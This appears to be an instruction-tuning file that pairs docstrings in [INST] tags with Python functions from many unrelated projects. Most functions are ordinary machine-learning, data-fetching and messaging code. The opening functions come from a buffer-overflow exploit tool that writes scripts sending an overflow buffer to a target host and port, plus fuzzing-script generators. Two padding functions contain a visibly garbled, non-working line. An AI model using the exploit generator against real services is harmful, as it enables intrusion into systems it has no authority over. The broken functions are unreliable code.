connect = s.connect_ex((target, port))
# Stop script if connection cannot be established
if connect != 0:
print('[!] Connection failed')
exit(1)
# Connection established: send request
try:
# Catch initial response if any
try:
print('[*] Received response: ' + str(s.recv(1024)))
except so.timeout:
pass
print(' [*] Sending evil request with', len(buffer), 'bytes')
s.send(buffer)
print('[*] Done')
# Stop on timeout
except so.timeout:
print('[!] Connection failed due to socket timeout.')
exit(1)
except (BrokenPipeError, ConnectionResetError):
print('[!] The connection was closed while sending the payload')
""".format(target=target,
port=port,
buffer_length=buf_length,
off=offset,
buffer_code=buffer_list.selected_buffer.print_buffer())
try:
with open(file, 'wb') as f:
f.write(content.encode())
print_success('Created exploit file {}'.format(file))
except OSError as ex:
print_error('Error while creating the exploit file:\n {}'.format(ex.strerror))
[INST] Updates only the buffer in an existing exploit file.
Manual changes in other parts of the file will be retained.. [/INST] def update_remote_exploit():
try:
with FileInput(files=[file], inplace=True) as f:
for line in f:
line = line.rstrip()
if line.startswith('offset = '):
line = "offset = " + str(offset)
elif line.startswith('buffer = '):
line = buffer_list.selected_buffer.print_buffer()
elif line.startswith('buffer += ') or len(line) == 0:
continue
print(line)
print_success('Updated buffer in exploit file {}'.format(file))
except OSError as ex:
print_error('Error while updating the exploit file:\n {}'.format(ex.strerror))
[INST] Generates the buffer for fuzzing based on the currently set parameters for
fuzz_length, fuzz_increase and fuzz_char. [/INST] def build_fuzz_buffer():
counter = increase_step - len(start_command) - len(end_command)
while len(fuzz_buffer) <= fuzz_buff_length:
fuzz_buffer.append(fuzz_char * counter)
counter = counter + increase_step
[INST] Writes files with increasing size for fuzzing. [/INST] def dump_local_fuzz():
build_fuzz_buffer()
for item in fuzz_buffer:
filename = file_name + '_' + str(len(item)) + '.' + file_ext
with open(filename, 'wb') as f:
f.write(start_command + item + end_command)
print_info('Created fuzzing file with length ' + str(len(item)))
[INST] Writes a python file for fuzzing based on the currently set parameters for fuzz_length, fuzz_increase and fuzz_char. [/INST] def dump_remote_fuzz():
filename = 'fuzzing.py'
content = '''\
#!/usr/bin/python3
import socket as so
# --- Define target ------------------------
target = '{target}'
port = {port}
# ------------------------------------------
# --- Build fuzzing buffer -----------------
fuzz_buffer = []
counter = {step} - len({cmd}) - len({ecmd})
while len(fuzz_buffer) <= {buff_len}:
fuzz_buffer.append({char}*counter)
counter = counter + {step}
# ------------------------------------------
for item in fuzz_buffer:
with so.socket(so.AF_INET, so.SOCK_STREAM) as s:
try:
s.settimeout(5)
print(' [*] Connecting to', target)
connect = s.connect_ex((target, port))
# Stop script if connection cannot be established
if connect != 0:
print('[!] Connection failed')
exit(1)
# Connection established: send request
try:
# Catch initial response if any
try:
print('[*] Received response: ' + str(s.recv(1024)))
except so.timeout:
pass
command = {cmd} + item + {ecmd}
print(' [*] Fuzzing with', len(command), 'bytes')
s.send(command)
try:
print('[*] Received response: ' + str(s.recv(1024)))
except so.timeout:
pass
print('[*] Done')
# Stop on timeout
except so.timeout:
print('[!] Connection failed due to socket timeout.')
exit(1)
except (BrokenPipeError, ConnectionResetError):
print('[!] The connection was closed while sending the payload')
exit(1)
'''.format(target=target,
port=port,
step=increase_step,
buff_len=fuzz_buff_length,
char=fuzz_char,
cmd=start_command,
ecmd=end_command)
try:
with open(filename, 'w') as f:
f.write(content)
print_success('Created fuzzing file {}'.format(filename))
except OSError as ex:
print_error('Error while creating the fuzzing file:\n {}'.format(ex.strerror))
[INST] Prints ingredients for making `count` arepas.
F-string of original code. [/INST] def ingredients(count):
print(f'{count*0.1} cups arepa flour')
print(f'{count*0.1} cups cheese')
print(f'{count*0.025} cups water')
[INST] Train the word2vec model for document vector representation.. [/INST] def fit(self, X, y=None):
self.sentences = X
self.word2vec = gensim.models.Word2Vec(MySentences(self.sentences), *self.args, **self.kwargs)
self.model = dict(zip(self.word2vec.wv.index2word, self.word2vec.wv.vectors))
tfidf = TfidfVectorizer(analyzer=lambda x: x)
tfidf.fit(X)
max_idf = max(tfidf.idf_)
self.word2weight = defaultdict(
lambda: max_idf,
[(w, tfidf.idf_[i]) for w, i in tfidf.vocabulary_.items()]
)
return self
[INST] Transform a sequence of documents to vectors.. [/INST] def transform(self, X, y=None):
return np.array([
np.mean([self.model[w] * self.word2weight[w]
for w in words if w in self.model] or
[np.random.rand(self.size)], axis=0)
for words in MySentences(X)
])
[INST] Combine `fit` and `transform` functions.
It trains the model on the given data then transforming
and returning the training data into vectors.. [/INST] def fit_transform(self, X, y=None):
temp = self.fit(X)
return temp.transform(X)
[INST] Treats gRPC inputs and assembles lua command. Specifically, checks if required field have been specified,
if the values and types are correct and, for each input/input_type adds the argument to the lua command.. [/INST] def treat_inputs(self, request, arguments, created_images):
model_path = self.model_dir
file_index_str = ""
image_path = ""
for field, values in arguments.items():
default = values[2]
try:
arg_value = eval("request.{}".format(field))
except Exception as e:
log.error(e)
return False
print("Received request.{} = ".format(field))
print(arg_value)
if field == "input":
log.debug("Treating input image field.")
assert(request.input != ""), "Input image field should not be empty."
try:
image_path, file_index_str = \
service.treat_image_input(arg_value, self.input_dir, "{}".format(field))
print("Image path: {}".format(image_path))
created_images.append(image_path)
except Exception as e:
log.error(e)
raise
elif field == "model":
log.debug("Treating model field. Forcing model to be ESRGAN.")
model_path += self.esrgan_model
elif field == "scale":
log.debug("Treating scale field. Forcing scale to be 4.")
scale = 4
model_path += str(scale)
else:
log.error("Request field not found.")
return False
if image_path == "":
log.error("Empty image_path (filename). Something went wrong when treating input.")
model_path += self.model_suffix
log.debug("Successfully treated input.")
return image_path, model_path, file_index_str
[INST] Increases the resolution of a given image (request.image). [/INST] def increase_image_resolution(self, request, context):
created_images = []
arguments = {"input": ("image", True, None),
"model": ("string", True, None),
"scale": ("int", False, 4)}
try:
image_path, model_path, file_index_str = self.treat_inputs(request, arguments, created_images)
except HTTPError as e:
error_message = "Error downloading the input image \n" + e.read()
log.error(error_message)
self.result.data = error_message
return self.result
except Exception as e:
log.error(e)
self.result.data = e
return self.result
log.debug("Treated input.")
with Pool(1) as p:
try:
output = p.apply(_increase_image_resolution, (model_path, image_path))
except Exception as e:
log.error(e)
self.result.data = e
return self.result
log.debug("Returning on service complete!")
input_filename = os.path.split(created_images[0])[1]
log.debug("Input file name: {}".format(input_filename))
output_image_path = self.output_dir + '/' + input_filename
log.debug("Output image path: {}".format(output_image_path))
try:
cv2.imwrite(output_image_path, output)
created_images.append(output_image_path)
except Exception as e:
log.error("Error writing output image to file.")
log.error(e)
self.result.data = e
return self.result
if input_filename.split('.')[1] == 'png':
log.debug("Encoding from PNG.")
self.result.data = service.png_to_base64(output_image_path).decode("utf-8")
else:
log.debug("Encoding from JPG.")
self.result.data = service.jpg_to_base64(output_image_path, open_file=True).decode("utf-8")
log.debug("Output image generated. Service successfully completed.")
for image in created_images:
service.serviceUtils.clear_file(image)
return self.result
[INST] The gRPC serve function.
Params:
max_workers: pool of threads to execute calls asynchronously
port: gRPC server port
Add all your classes to the server here.
(from generated .py files by protobuf compiler). [/INST] def serve(max_workers=5, port=7777):
server = grpc.server(futures.ThreadPoolExecutor(max_workers=max_workers))
grpc_bt_grpc.add_SuperResolutionServicer_to_server(
SuperResolutionServicer(), server)
server.add_insecure_port('[::]:{}'.format(port))
log.debug("Returning server!")
return server
[INST] Load the PyTorch model from the `model_dir` directory.. [/INST] def model_fn(model_dir):
print("Loading model.")
model_info = {}
model_info_path = os.path.join(model_dir, 'model_info.pth')
with open(model_info_path, 'rb') as f:
model_info = torch.load(f)
print("model_info: {}".format(model_info))
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
INPUT_DIM = model_info['INPUT_DIM']
WORD_EMBEDDING_DIM = model_info['WORD_EMBEDDING_DIM']
N_FILTERS = model_info['N_FILTERS']
FILTER_SIZES = model_info['FILTER_SIZES']
AUTHOR_DIM = model_info['AUTHOR_DIM']
DROPOUT = model_info['DROPOUT']
PAD_IDX = model_info['PAD_IDX']
model = CNN(INPUT_DIM, WORD_EMBEDDING_DIM, N_FILTERS, FILTER_SIZES, \
AUTHOR_DIM, DROPOUT, PAD_IDX)
model_path = os.path.join(model_dir, 'model_state.pt')
with open(model_path, 'rb') as f:
model.load_state_dict(torch.load(f))
word_dict_path = os.path.join(model_dir, 'word_dict.pkl')
with open(word_dict_path, 'rb') as f:
model.word_dict = pickle.load(f)
model.to(device).eval()
print("Done loading model.")
return model, model_info['TRAIN_HISTORY']
[INST] Load the PyTorch model from the `model_dir` directory.. [/INST] def model_fn(model_dir):
print("Loading model.")
model_info = {}
model_info_path = os.path.join(model_dir, 'model_info.pth')
with open(model_info_path, 'rb') as f:
model_info = torch.load(f)
print("model_info: {}".format(model_info))
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
INPUT_DIM = model_info['INPUT_DIM']
WORD_EMBEDDING_DIM = model_info['WORD_EMBEDDING_DIM']
N_FILTERS = model_info['N_FILTERS']
FILTER_SIZES = model_info['FILTER_SIZES']
AUTHOR_DIM = model_info['AUTHOR_DIM']
DROPOUT = model_info['DROPOUT']
PAD_IDX = model_info['PAD_IDX']
model = CNN(INPUT_DIM, WORD_EMBEDDING_DIM, N_FILTERS, FILTER_SIZES, AUTHOR_DIM, DROPOUT, PAD_IDX)
print("Model loaded with embedding_dim {}, vocab_size {}.".format(
WORD_EMBEDDING_DIM, INPUT_DIM))
model_path = os.path.join(model_dir, 'model_state.pt')
with open(model_path, 'rb') as f:
model.load_state_dict(torch.load(f))
word_dict_path = os.path.join(model_dir, 'word_dict.pkl')
with open(word_dict_path, 'rb') as f:
model.word_dict = pickle.load(f)
model.to(device).eval()
print("Done loading model.")
return model
[INST] ls list to be cut/padded to length n. [/INST] def pad_to_n(ls, n = FIX_WORD_LENGTH):
ls= ls[:n]
if len(ls)']*(n-len(ls))) + ls
return ls
[INST] Gets wordlend of a poem,
if larger than SPLIT_INTO partions into next paragraph
return author, title and poem broken in this way. [/INST] def poem_fragments(poem_series, split_into):
poem = poem_series
poem_author = poem.author
poem_title = poem.title
poem_content = poem.content
poem_pa= poem.content.split('.\n')
i=0
while ((i+1)!=(len(poem_pa))):
if (len(poem_pa[i].split())>=split_into):
poem_pa[i]=poem_pa[i]+'.\n'
i+=1
else:
poem_pa[i] = poem_pa[i]+'.\n'+poem_pa[i+1]
del poem_pa[i+1]
return (poem_author, poem_title ,poem_pa)
[INST] ls list to be cut/padded to length n. [/INST] def slice_and_pad_to_n(ls, n):
ls= ls[:n]
if len(ls)']*(n-len(ls))) + ls
return ls
[INST] List to tockens
word_dict: dictionary of tokens
token_list: word list. [/INST] def tokenize_poem(token_list, word_dict):
aux =[word_dict[w] if w in word_dict else word_dict[''] for w in token_list]
return aux
[INST] poem extract as list
word_length: final word length of poems
token_dict: tokens dictionary
tokenized_poems: tokenized poems. [/INST] def tokenize_pad_slice_poems(data, word_length, word_dict):
data = [slice_and_pad_to_n(p, word_length) for p in data]
tokenized_poems = [tokenize_poem(p ,word_dict) for p in data]
return tokenized_poems
[INST] data : poems list created by spacy and torchtext
word_length: fix poems to have this number of tokens (not only words)
data_dir: dir to store data_dir
file_name: file name to store data. [/INST] def process_and_save(data, word_length, word_dict, data_dir, file_name):
data_list = [i.content for i in data.examples]
labels_list = [i.author_label for i in data.examples]
poems_list = tokenize_pad_slice_poems(data_list, word_length, word_dict)
path_to_file = os.path.join(data_dir, file_name)
with open(path_to_file, 'wb') as f:
pickle.dump((poems_list,labels_list), f)
[INST] Visualizes coordinates in dataframe on map
Retrieves columns with name latitude and logitude and visualizes it on a map.. [/INST] def visualize_coordinates(df: pd.DataFrame, latitude: str, longitude: str) -> None :
fig = px.scatter_mapbox(df, lat=latitude, lon=longitude,
color_continuous_scale=px.colors.cyclical.IceFire, size_max=15, zoom=10,
mapbox_style="carto-positron")
fig.show()
[INST] Fetches the data for a city if the data is not yet cashed on the computer.. [/INST] def fetch_data_city(city: str) -> None:
compression = ".xz"
folder = os.path.join(".","data")
def file_path(file_name: str) -> str:
return os.path.join(folder, file_name)
if not(os.path.exists(folder)):
os.mkdir(folder)
tiles_path = file_path(f'{city}Tiles.pkl{compression}')
hourly_dem_path = file_path(f'{city}HourlyDemographics.pkl{compression}')
hourly_density_path = file_path(f'{city}HourlyDensity.pkl{compression}')
daily_density_path = file_path(f'{city}DensityDaily.pkl{compression}')
daily_demographics_path = file_path(f'{city}DemographicsDaily.pkl{compression}')
if not(os.path.isfile(tiles_path)):
tiles = get_tiles(get_municipalityID(city)[0])
tiles.to_pickle(tiles_path)
else:
tiles = pd.read_pickle(tiles_path)
if not(os.path.isfile(hourly_dem_path)):
hourly_dem = get_hourly_demographics_dataframe(tiles['tileID'].to_numpy())
hourly_dem.to_pickle(hourly_dem_path)
if not(os.path.isfile(hourly_density_path)):
hourly_dens = get_hourly_density_dataframe(tiles['tileID'].to_numpy())
hourly_dens.to_pickle(hourly_density_path)
if not(os.path.isfile(daily_density_path)):
get_daily_density(tiles['tileID'].to_numpy()).to_pickle(daily_density_path)
if not(os.path.isfile(daily_demographics_path)):
get_daily_demographics(tiles['tileID'].to_numpy()).to_pickle(daily_demographics_path)
[INST] Cleans the list of cities by removing all the cities that are not found in the
official list of cities provided by the Federal Statisitics Office.
List of cities to check and clean.
List containing a subset of the input list such that all elements are valid.. [/INST] def clean_cities_list(cities: [str]) -> [str]:
invalid_cities = []
for c in cities:
if len(commune.loc[commune.GDENAME == c].GDENR.to_numpy()) == 0:
city = []
sim_value = []
for f in commune.GDENAME:
r = SequenceMatcher(None, c, f).ratio()
if r > 0.5:
city.append(f)
sim_value.append(r)
d = pd.DataFrame(data={"city": city, "value": sim_value})
potential_cities = d.sort_values("value", ascending=False).head(5).city.to_numpy()
print(f"City nammed: {c} cannot be found in official records. Did you mean: {potential_cities} ? {c} will be ignored.")
invalid_cities.append(c)
return [c for c in cities if not(c in invalid_cities)]
[INST] Downloads the excel spreadsheet from the Swiss Federal Statistical Office that maps the town name to unique ID. [/INST] def download_commune_excel() -> None:
print('Beginning commune file download with requests')
folder = os.path.join(".","data")
if not(os.path.exists(folder)):
os.mkdir(folder)
url = 'https://www.bfs.admin.ch/bfsstatic/dam/assets/11467406/master'
r = requests.get(url)
with open(os.path.join(".", "data", 'commune.xlsx'), 'wb') as f:
f.write(r.content)
print("End of commune file download")
[INST] Assert that a redis operation returns the expected result.. [/INST] def assert_redis_op(self, redis, expected, op, *args, **kw):
raise NotImplementedError(".assert_redis_op() method not implemented.")
[INST] Assert that a redis operation raises an exception.. [/INST] def assert_redis_error(self, redis, op, *args, **kw):
raise NotImplementedError(
".assert_redis_error() method not implemented.")
[INST] Wait some number of seconds, either for real or by advancing a clock.. [/INST] def wait(self, delay):
raise NotImplementedError(".wait() method not implemented.")
[INST] Perform an operation on both the fake and real Redises and assert that
the responses and errors are the same.
This method is a generator and is not used directly. It's wrapped
with an appropriate sync/async wrapper in __init__() above.. [/INST] def _perform_operation_gen(self, op, *args, **kw):
results = []
errors = []
for redis in [self._fake_redis, self._real_redis]:
try:
result = yield getattr(redis, op)(*args, **kw)
except Exception as e:
errors.append(e)
if results != []:
self._test_case.fail(
"Fake redis returned %r but real redis raised %r" % (
results[0], errors[0]))
else:
results.append(result)
if errors != []:
self._test_case.fail(
"Real redis returned %r but fake redis raised %r" % (
results[0], errors[0]))
if errors:
fake_type, real_type = type(errors[0]), type(errors[1])
if real_type is self._real_redis.RESPONSE_ERROR:
real_type = self._fake_redis.RESPONSE_ERROR
self._test_case.assertEqual(
fake_type, real_type,
("Fake redis (a) and real redis (b) errors different:"
"\n a = %r\n b = %r") % tuple(errors))
raise errors[0]
self._test_case.assertEqual(
results[0], results[1],
"Fake redis (a) and real redis (b) responses different:"
"\n a = %r\n b = %r" % tuple(results))
returnValue(results[0])
[INST] Check if this might be a delivery report with optional PDU parameters.. [/INST] def _handle_delivery_report_optional_params(self, pdu):
pdu_opts = unpacked_pdu_opts(pdu)
receipted_message_id = pdu_opts.get('receipted_message_id', None)
message_state = pdu_opts.get('message_state', None)
if receipted_message_id is None or message_state is None:
return succeed(False)
status = self.STATUS_MAP.get(message_state, 'UNKNOWN')
d = self.transport.handle_delivery_report(
receipted_message_id=receipted_message_id,
delivery_status=self.delivery_status(status),
smpp_delivery_status=status)
d.addCallback(lambda _: True)
return d
[INST] Construct and dispatch a delivery report based on content fields as
matched by our regex.. [/INST] def _process_delivery_report_content_fields(self, content_fields):
receipted_message_id = content_fields['id']
message_state = content_fields['stat']
return self.transport.handle_delivery_report(
receipted_message_id=receipted_message_id,
delivery_status=self.delivery_status(message_state),
smpp_delivery_status=message_state)
[INST] Check if the ``esm_class`` indicates that this is a delivery report.
We assume the message content is a string that matches our regex.
We can't use the usual decoding process here because it lives
elsewhere and the content should be plain ASCII generated by the
SMSC anyway.. [/INST] def _handle_delivery_report_esm_class(self, pdu):
if not self.config.delivery_report_use_esm_class:
return succeed(False)
esm_class = pdu["body"]["mandatory_parameters"]["esm_class"]
if not (esm_class & self.ESM_CLASS_MASK):
return succeed(False)
content = pdu["body"]["mandatory_parameters"]["short_message"]
match = self.config.delivery_report_regex.search(content or '')
if not match:
self.log.warning(
("esm_class %s indicates delivery report, but content"
" does not match regex: %r") % (esm_class, content))
return succeed(True)
fields = match.groupdict()
d = self._process_delivery_report_content_fields(fields)
d.addCallback(lambda _: True)
return d
[INST] Call the appropriate `submit_*` method depending on config.. [/INST] def send_short_message(self, service, vumi_message_id, destination_addr,
content, data_coding=0, source_addr='',
optional_parameters=None):
kwargs = dict(
vumi_message_id=vumi_message_id,
destination_addr=destination_addr,
short_message=content,
data_coding=data_coding,
source_addr=source_addr,
optional_parameters=optional_parameters)
if self.config.send_long_messages:
kwargs['long_message'] = kwargs.pop('short_message')
return service.submit_sm_long(**kwargs)
elif self.config.send_multipart_sar:
kwargs['reference_rollover'] = (
self.config.multipart_sar_reference_rollover)
return service.submit_csm_sar(**kwargs)
elif self.config.send_multipart_udh:
return service.submit_csm_udh(**kwargs)
return service.submit_sm(**kwargs)
[INST] Decorate a method that calls a manager.
This redecorates with the `call_decorator` attribute on the Manager
subclass used, which should be either @inlineCallbacks or
@flatten_generator.. [/INST] def calls_manager(manager_attr):
if callable(manager_attr):
return Manager.calls_manager('manager')(manager_attr)
def redecorate(func):
@wraps(func)
def wrapper(self, *args, **kw):
manager = getattr(self, manager_attr)
return manager.call_decorator(func)(self, *args, **kw)
return wrapper
return redecorate
[INST] Construct a manager from a dictionary of options.. [/INST] def from_config(cls, config):
client_config = config.copy()
manager_config = {
'config': config.copy(),
'key_prefix': client_config.pop('key_prefix', None),
'key_separator': client_config.pop('key_separator', ':'),
}
fake_redis = client_config.pop('FAKE_REDIS', None)
if 'VUMITEST_REDIS_DB' in os.environ:
fake_redis = None
client_config['db'] = int(os.environ['VUMITEST_REDIS_DB'])
if fake_redis is not None:
if isinstance(fake_redis, cls):
fake_redis = fake_redis._client
if isinstance(fake_redis, FakeRedis):
pass
else:
fake_redis = None
return cls._fake_manager(fake_redis, manager_config)
return cls._manager_from_config(client_config, manager_config)
[INST] Construct a client from a dictionary of options.. [/INST] def _manager_from_config(cls, client_config, manager_config):
raise NotImplementedError("Sub-classes of Manager should implement"
" ._manager_from_config(...)")
[INST] Delete *ALL* keys whose names start with this manager's key prefix.
Use only in tests.. [/INST] def _purge_all(self):
raise NotImplementedError("Sub-classes of Manager should implement"
" ._purge_all()")
[INST] Make a redis API call using the underlying client library.. [/INST] def _make_redis_call(self, call, *args, **kw):
raise NotImplementedError("Sub-classes of Manager should implement"
" ._make_redis_call()")
[INST] Filter results of a redis call.. [/INST] def _filter_redis_results(self, func, results):
raise NotImplementedError("Sub-classes of Manager should implement"
" ._filter_redis_results()")
[INST] Generate a key using this manager's key prefix. [/INST] def _key(self, key):
if self._key_prefix is None:
return key
return "%s%s%s" % (self._key_prefix, self._key_separator, key)
[INST] Strip off manager's key prefix from a key. [/INST] def _unkey(self, key):
prefix = "%s%s" % (self._key_prefix, self._key_separator)
if key.startswith(prefix):
return key[len(prefix):]
return key
[INST] Return the result with some fake delay. If we're in async mode, add
some real delay to catch code that doesn't properly wait for the
deferred to fire.. [/INST] def _delay_operation(self, func, args, kw):
self.clock.advance(0.1)
if self._is_async:
d = Deferred()
delayed = reactor.callLater(
FAKE_REDIS_WAIT, call_to_deferred, d, func, self, *args, **kw)
self._delayed_calls.append(delayed)
return d
else:
return func(self, *args, **kw)
[INST] Sort keys in a consistent but non-obvious way.
We sort by the crc32 of the key, that being cheap and good enough for
our purposes here.. [/INST] def _sort_keys_by_hash(self, keys):
return sorted(keys, key=crc32)
[INST] Turn a vumi_date-formatted string into a string that sorts in reverse order
and can be turned back into a timestamp later.
This is done by converting to a unix timestamp and subtracting it from
0xffffffffff (2**40 - 1) to get a number well outside the range
representable by the datetime module. The result is returned as a
hexadecimal string.. [/INST] def to_reverse_timestamp(vumi_timestamp):
timestamp = timegm(parse_vumi_date(vumi_timestamp).timetuple())
return "%X" % (0xffffffffff - timestamp)
[INST] Add a key and timestamp to the manager.. [/INST] def add_key(self, key, timestamp):
if timestamp > self.start_timestamp:
self.new_keys.append((key, timestamp))
return None
self.cache_keys.append((key, timestamp))
if len(self.cache_keys) > self.key_count:
return self.cache_keys.pop(0)
return None
[INST] Check if a batch_id's cache values need to be reconciled with
what's stored in the MessageStore.. [/INST] def needs_reconciliation(self, batch_id, delta=0.01):
inbound = float((yield self.batch_inbound_count(batch_id)))
cached_inbound = yield self.cache.count_inbound_message_keys(
batch_id)
if inbound and (abs(cached_inbound - inbound) / inbound) > delta:
returnValue(True)
outbound = float((yield self.batch_outbound_count(batch_id)))
cached_outbound = yield self.cache.count_outbound_message_keys(
batch_id)
if outbound and (abs(cached_outbound - outbound) / outbound) > delta:
returnValue(True)
returnValue(False)
[INST] Rebuild the cache for the given batch.
The ``start_timestamp`` parameter is used for testing only.. [/INST] def reconcile_cache(self, batch_id, start_timestamp=None):
if start_timestamp is None:
start_timestamp = format_vumi_date(datetime.utcnow())
yield self.cache.clear_batch(batch_id)
yield self.cache.batch_start(batch_id)
yield self.reconcile_outbound_cache(batch_id, start_timestamp)
yield self.reconcile_inbound_cache(batch_id, start_timestamp)
[INST] Rebuild the inbound message cache.. [/INST] def reconcile_inbound_cache(self, batch_id, start_timestamp):
key_manager = ReconKeyManager(
start_timestamp, self.cache.TRUNCATE_MESSAGE_KEY_COUNT_AT)
key_count = 0
index_page = yield self.batch_inbound_keys_with_addresses(batch_id)
while index_page is not None:
for key, timestamp, addr in index_page:
yield self.cache.add_from_addr(batch_id, addr)
old_key = key_manager.add_key(key, timestamp)
if old_key is not None:
key_count += 1
index_page = yield index_page.next_page()
yield self.cache.add_inbound_message_count(batch_id, key_count)
for key, timestamp in key_manager:
try:
yield self.cache.add_inbound_message_key(
batch_id, key, self.cache.get_timestamp(timestamp))
except:
log.err()
[INST] Rebuild the outbound message cache.. [/INST] def reconcile_outbound_cache(self, batch_id, start_timestamp):
key_manager = ReconKeyManager(
start_timestamp, self.cache.TRUNCATE_MESSAGE_KEY_COUNT_AT)
key_count = 0
status_counts = defaultdict(int)
index_page = yield self.batch_outbound_keys_with_addresses(batch_id)
while index_page is not None:
for key, timestamp, addr in index_page:
yield self.cache.add_to_addr(batch_id, addr)
old_key = key_manager.add_key(key, timestamp)
if old_key is not None:
key_count += 1
sc = yield self.get_event_counts(old_key[0])
for status, count in sc.iteritems():
status_counts[status] += count
index_page = yield index_page.next_page()
yield self.cache.add_outbound_message_count(batch_id, key_count)
for status, count in status_counts.iteritems():
yield self.cache.add_event_count(batch_id, status, count)
for key, timestamp in key_manager:
try:
yield self.cache.add_outbound_message_key(
batch_id, key, self.cache.get_timestamp(timestamp))
yield self.reconcile_event_cache(batch_id, key)
except:
log.err()
[INST] Update the event cache for a particular message.. [/INST] def reconcile_event_cache(self, batch_id, message_id):
event_keys = yield self.message_event_keys(message_id)
for event_key in event_keys:
event = yield self.get_event(event_key)
yield self.cache.add_event(batch_id, event)
[INST] Has the message search issue a `batch_inbound_keys_matching()`
query and stores the resulting keys in the cache ordered by
descending timestamp.. [/INST] def find_inbound_keys_matching(self, batch_id, query, ttl=None,
wait=False):
assert isinstance(self.manager, TxRiakManager), (
"manager is not an instance of TxRiakManager")
token = yield self.cache.start_query(batch_id, 'inbound', query)
deferred = self.batch_inbound_keys_matching(batch_id, query)
deferred.addCallback(
lambda keys: self.cache.store_query_results(batch_id, token, keys,
'inbound', ttl))
if wait:
yield deferred
returnValue(token)
[INST] Has the message search issue a `batch_outbound_keys_matching()`
query and stores the resulting keys in the cache ordered by
descending timestamp.. [/INST] def find_outbound_keys_matching(self, batch_id, query, ttl=None,
wait=False):
token = yield self.cache.start_query(batch_id, 'outbound', query)
deferred = self.batch_outbound_keys_matching(batch_id, query)
deferred.addCallback(
lambda keys: self.cache.store_query_results(batch_id, token, keys,
'outbound', ttl))
if wait:
yield deferred
returnValue(token)
[INST] Count the number of keys in the token's result set.. [/INST] def count_keys_for_token(self, batch_id, token):
return self.cache.count_query_results(batch_id, token)
[INST] Return True or False depending on whether or not the query is
still running. [/INST] def is_query_in_progress(self, batch_id, token):
return self.cache.is_query_in_progress(batch_id, token)
[INST] Return all inbound message keys with (and ordered by) timestamps.. [/INST] def batch_inbound_keys_with_timestamps(self, batch_id, max_results=None,
start=None, end=None,
with_timestamps=True):
formatter = key_with_ts_only_formatter if with_timestamps else None
return self._query_batch_index(
self.inbound_messages, batch_id, 'batches_with_addresses',
max_results, start, end, formatter)
[INST] Return all outbound message keys with (and ordered by) timestamps.. [/INST] def batch_outbound_keys_with_timestamps(self, batch_id, max_results=None,
start=None, end=None,
with_timestamps=True):
formatter = key_with_ts_only_formatter if with_timestamps else None
return self._query_batch_index(
self.outbound_messages, batch_id, 'batches_with_addresses',
max_results, start, end, formatter)
[INST] Return all inbound message keys with (and ordered by) timestamps and
addresses.. [/INST] def batch_inbound_keys_with_addresses(self, batch_id, max_results=None,
start=None, end=None):
return self._query_batch_index(
self.inbound_messages, batch_id, 'batches_with_addresses',
max_results, start, end, key_with_ts_and_value_formatter)
[INST] Return all outbound message keys with (and ordered by) timestamps and
addresses.. [/INST] def batch_outbound_keys_with_addresses(self, batch_id, max_results=None,
start=None, end=None):
return self._query_batch_index(
self.outbound_messages, batch_id, 'batches_with_addresses',
max_results, start, end, key_with_ts_and_value_formatter)
[INST] Return all inbound message keys with timestamps and addresses.
Results are ordered from newest to oldest.. [/INST] def batch_inbound_keys_with_addresses_reverse(self, batch_id,
max_results=None,
start=None, end=None):
if start is not None:
start = to_reverse_timestamp(start)
if end is not None:
end = to_reverse_timestamp(end)
start, end = end, start
return self._query_batch_index(
self.inbound_messages, batch_id, 'batches_with_addresses_reverse',
max_results, start, end, key_with_rts_and_value_formatter)
[INST] Return all outbound message keys with timestamps and addresses.
Results are ordered from newest to oldest.. [/INST] def batch_outbound_keys_with_addresses_reverse(self, batch_id,
max_results=None,
start=None, end=None):
if start is not None:
start = to_reverse_timestamp(start)
if end is not None:
end = to_reverse_timestamp(end)
start, end = end, start
return self._query_batch_index(
self.outbound_messages, batch_id, 'batches_with_addresses_reverse',
max_results, start, end, key_with_rts_and_value_formatter)
[INST] Return all event keys with timestamps and statuses.
Results are ordered from newest to oldest.. [/INST] def batch_event_keys_with_statuses_reverse(self, batch_id,
max_results=None,
start=None, end=None):
if start is not None:
start = to_reverse_timestamp(start)
if end is not None:
end = to_reverse_timestamp(end)
start, end = end, start
return self._query_batch_index(
self.events, batch_id, 'batches_with_statuses_reverse',
max_results, start, end, key_with_rts_and_value_formatter)
[INST] Return all event keys with (and ordered by) timestamps and statuses.. [/INST] def message_event_keys_with_statuses(self, msg_id, max_results=None):
if max_results is None:
max_results = self.DEFAULT_MAX_RESULTS
start_value, end_value = self._start_end_values(msg_id, None, None)
results = yield self.events.index_keys_page(
'message_with_status', start_value, end_value,
return_terms=True, max_results=max_results)
returnValue(IndexPageWrapper(
key_with_ts_and_value_formatter, self, msg_id, results))
[INST] Return inbound message stats for the specified time range.
Currently, message stats include total message count and unique address
count.. [/INST] def batch_inbound_stats(self, batch_id, max_results=None,
start=None, end=None):
total = 0
unique_addresses = set()
start_value, end_value = self._start_end_values(batch_id, start, end)
if max_results is None:
max_results = self.DEFAULT_MAX_RESULTS
raw_page = yield self.inbound_messages.index_keys_page(
'batches_with_addresses', start_value, end_value,
return_terms=True, max_results=max_results)
page = IndexPageWrapper(
key_with_ts_and_value_formatter, self, batch_id, raw_page)
while page is not None:
results = list(page)
total += len(results)
unique_addresses.update(addr for key, timestamp, addr in results)
page = yield page.next_page()
returnValue({
"total": total,
"unique_addresses": len(unique_addresses),
})
[INST] Return outbound message stats for the specified time range.
Currently, message stats include total message count and unique address
count.. [/INST] def batch_outbound_stats(self, batch_id, max_results=None,
start=None, end=None):
total = 0
unique_addresses = set()
start_value, end_value = self._start_end_values(batch_id, start, end)
if max_results is None:
max_results = self.DEFAULT_MAX_RESULTS
raw_page = yield self.outbound_messages.index_keys_page(
'batches_with_addresses', start_value, end_value,
return_terms=True, max_results=max_results)
page = IndexPageWrapper(
key_with_ts_and_value_formatter, self, batch_id, raw_page)
while page is not None:
results = list(page)
total += len(results)
unique_addresses.update(addr for key, timestamp, addr in results)
page = yield page.next_page()
returnValue({
"total": total,
"unique_addresses": len(unique_addresses),
})
[INST] Wrap a raw index page object if it is not None.. [/INST] def _wrap_index_page(self, index_page):
if index_page is not None:
index_page = type(self)(
self._formatter, self._message_store, self._batch_id,
index_page)
return index_page
[INST] Fetch the next page of results.. [/INST] def next_page(self):
next_page = yield self._index_page.next_page()
returnValue(self._wrap_index_page(next_page))
[INST] Indicate whether there are more results to follow.. [/INST] def has_next_page(self):
return self._index_page.has_next_page()
